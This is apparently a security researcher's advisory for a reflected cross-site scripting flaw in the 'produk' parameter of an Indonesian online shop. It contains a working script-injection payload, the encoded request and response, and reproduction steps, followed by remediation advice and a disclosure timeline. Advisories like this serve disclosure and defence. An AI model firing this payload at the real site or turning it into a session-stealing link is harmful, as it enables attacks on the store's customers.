r00tali/cve-2026-39200
The value of the produk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload xbnw0"><script>alert(1)</script>skc2h was submitted in the produk parameter. This input was echoed as xbnw0\"><script>alert(1)</script>skc2h in the application's response.
A reflected Cross-Site Scripting (XSS) vulnerability was identified in the produk request parameter of the Toko Online RotI web application. The application fails to HTML-encode user-supplied input before reflecting it inside an HTML tag attribute that is encapsulated in double quotation marks. An attacker can craft a malicious URL that, when visited by a victim, executes arbitrary JavaScript in the context of the victim's browser session.
| Field | Value |
|---|
| CVE ID | CVE-2026-39200 |
| Vulnerability Type | CWE-79 — Improper Neutralization of Input During Web Page Generation (Reflected XSS) |
| Affected Product | Toko Online RotI (Indonesian online store) |
| Affected Parameter | produk |
| Discoverer | Uzair Ali (r00tali) — Penetration Tester / Bug Bounty Hunter |
| Discovery Date | 2026-07-03 |
| CVE Assigned | 2026-07-12 |
| Advisory Published | 2026-07-19 |
The produk request parameter is copied verbatim into the value of an HTML tag attribute enclosed in double quotation marks. Because the application does not HTML-encode the user-supplied input before reflecting it, an attacker can break out of the attribute by submitting a payload that contains a closing double quote followed by an HTML/JavaScript payload.
xbnw0"><script>alert(1)</script>skc2h
When this payload is submitted as the produk parameter, the application echoes the input back into the response unescaped. The closing "> terminates the original attribute, and the injected <script>alert(1)</script> block is interpreted by the browser as a new HTML element, executing arbitrary JavaScript in the user's session.
The vulnerable HTML response looks like this:
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk parameter inside an HTML attribute (e.g., a product search, detail, or filter page).produk parameter value with the following payload:
xbnw0"><script>alert(1)</script>skc2h
" and producing a valid <script> element in the DOM.alert(1) dialog is displayed, confirming arbitrary JavaScript execution in the victim's session.A successful exploitation of this reflected XSS allows an attacker to:
Because the vulnerability is reflected, exploitation requires only that a victim clicks a crafted link, making this trivially weaponizable in phishing campaigns.
CVSS v3.1 (estimated): 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
To remediate this vulnerability, the vendor should:
<, >, ", ', and & (e.g., <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) or <%: %> syntax{{ input }} (auto-escapes by default)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly and Secure flags on all session cookies to prevent JavaScript from reading them.produk parameter against an allow-list of expected product identifiers (numeric IDs, slugs, etc.) and reject anything that doesn't match.X-Content-Type-Options: nosniff to prevent MIME-type sniffing of response bodies.| Date | Event |
|---|---|
| 2026-07-03 | Vulnerability discovered during authorized security testing |
| 2026-07-03 | CVE ID requested from MITRE via cveform.mitre.org |
| 2026-07-12 | CVE-2026-39200 assigned by MITRE Assignment Team |
| 2026-07-19 | Public advisory published |
** Uzair Ali (r00tali)** — Penetration Tester / Bug Bounty Hunter / Security Researcher
This advisory is published for educational and defensive purposes only. The vulnerability was reported through the responsible disclosure process via the MITRE CVE Assignment Team. No confidential vendor information, customer data, or proprietary code is disclosed. The proof-of-concept uses a benign alert(1) payload and is intended to demonstrate the existence of the bug, not to facilitate attacks against the live service.